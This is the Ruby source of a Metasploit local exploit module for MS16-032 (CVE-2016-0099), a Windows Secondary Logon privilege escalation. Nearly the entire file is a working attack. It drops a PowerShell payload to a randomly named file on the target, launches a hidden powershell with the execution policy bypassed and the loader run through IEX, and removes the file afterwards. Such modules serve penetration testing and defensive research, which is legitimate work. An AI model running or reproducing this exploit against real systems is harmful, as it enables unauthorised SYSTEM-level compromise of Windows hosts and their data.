##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'

class MetasploitModule < Msf::Exploit::Local

  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'MS16-032 Secondary Logon Handle Privilege Escalation',
      'Description'   => %q{
        This module exploits the lack of sanitization of standard handles in Windows' Secondary
        Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
        32 and 64 bit.  This module will only work against those versions of Windows with
        Powershell 2.0 or later and systems with two or more CPU cores.
      },
       'License'       => BSD_LICENSE,
       'Author'        =>
         [
           'James Forshaw', # twitter.com/tiraniddo
           'b33f',          # @FuzzySec, http://www.fuzzysecurity.com'
           'khr0x40sh'
         ],
       'References'    =>
         [
           [ 'MS', 'MS16-032'],
           [ 'CVE', '2016-0099'],
           [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
           [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
         ],
        'DefaultOptions' =>
          {
            'WfsDelay' => 30,
            'EXITFUNC' => 'thread'
          },
        'DisclosureDate' => 'Mar 21 2016',
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets'        =>
          [
            # Tested on (32 bits):
            # * Windows 7 SP1
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
            # Tested on (64 bits):
            # * Windows 7 SP1
            # * Windows 8
            # * Windows 2012
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultTarget' => 0
      ))

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
        OptBool.new(  'DRY_RUN', [false, 'Only show what would be done', false ]),
        # How long until we DELETE file, we have a race condition here, so anything less than 60
        # seconds might break
        OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
      ], self.class)
  end

  def check
    os = sysinfo["OS"]

    if os !~ /win/i
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "Target is not vulnerable")
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path)

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmdstr.gsub!("System32", "SYSWOW64")
      print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
      vprint_warning("#{cmdstr}")
    end

    # payload formatted to fit dropped text file
    payl = cmd_psh_payload(payload.encoded,payload.arch,{
      encode_final_payload: false,
      remove_comspec: true,
      method: 'old'
    })

    payl.sub!(/.*?(?=New-Object IO)/im, "")
    payl = payl.split("';$s.")[0]
    payl.gsub!("''","'")
    payl = "$s=#{payl}while($true){Start-Sleep 1000};"

    @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
    path = datastore['W_PATH'] || pwd
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile,"wb")
    print_status("Writing payload file, #{@upfile}...")
    fd.write(payl)
    fd.close
    psh_cmd = "IEX `$(gc #{@upfile})"

    #lpAppName
    ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
    #lpcommandLine - capped at 1024b
    ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = "Compressed size may cause command to exceed "
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    if datastore['DRY_RUN']
      print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
      return
    end

    print_status("Executing exploit script...")
    cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
    args = nil

    begin
      process = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => false
      })
    rescue
      print_error("An error occurred executing the script.")
    end
  end

  def cleanup
    sleep_t = datastore['TIMEOUT']
    vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
    sleep sleep_t

    begin
      rm_f(@upfile)
      print_good("Cleaned up #{@upfile}")
    rescue
      print_error("There was an issue with cleanup of the powershell payload script.")
    end
  end
end
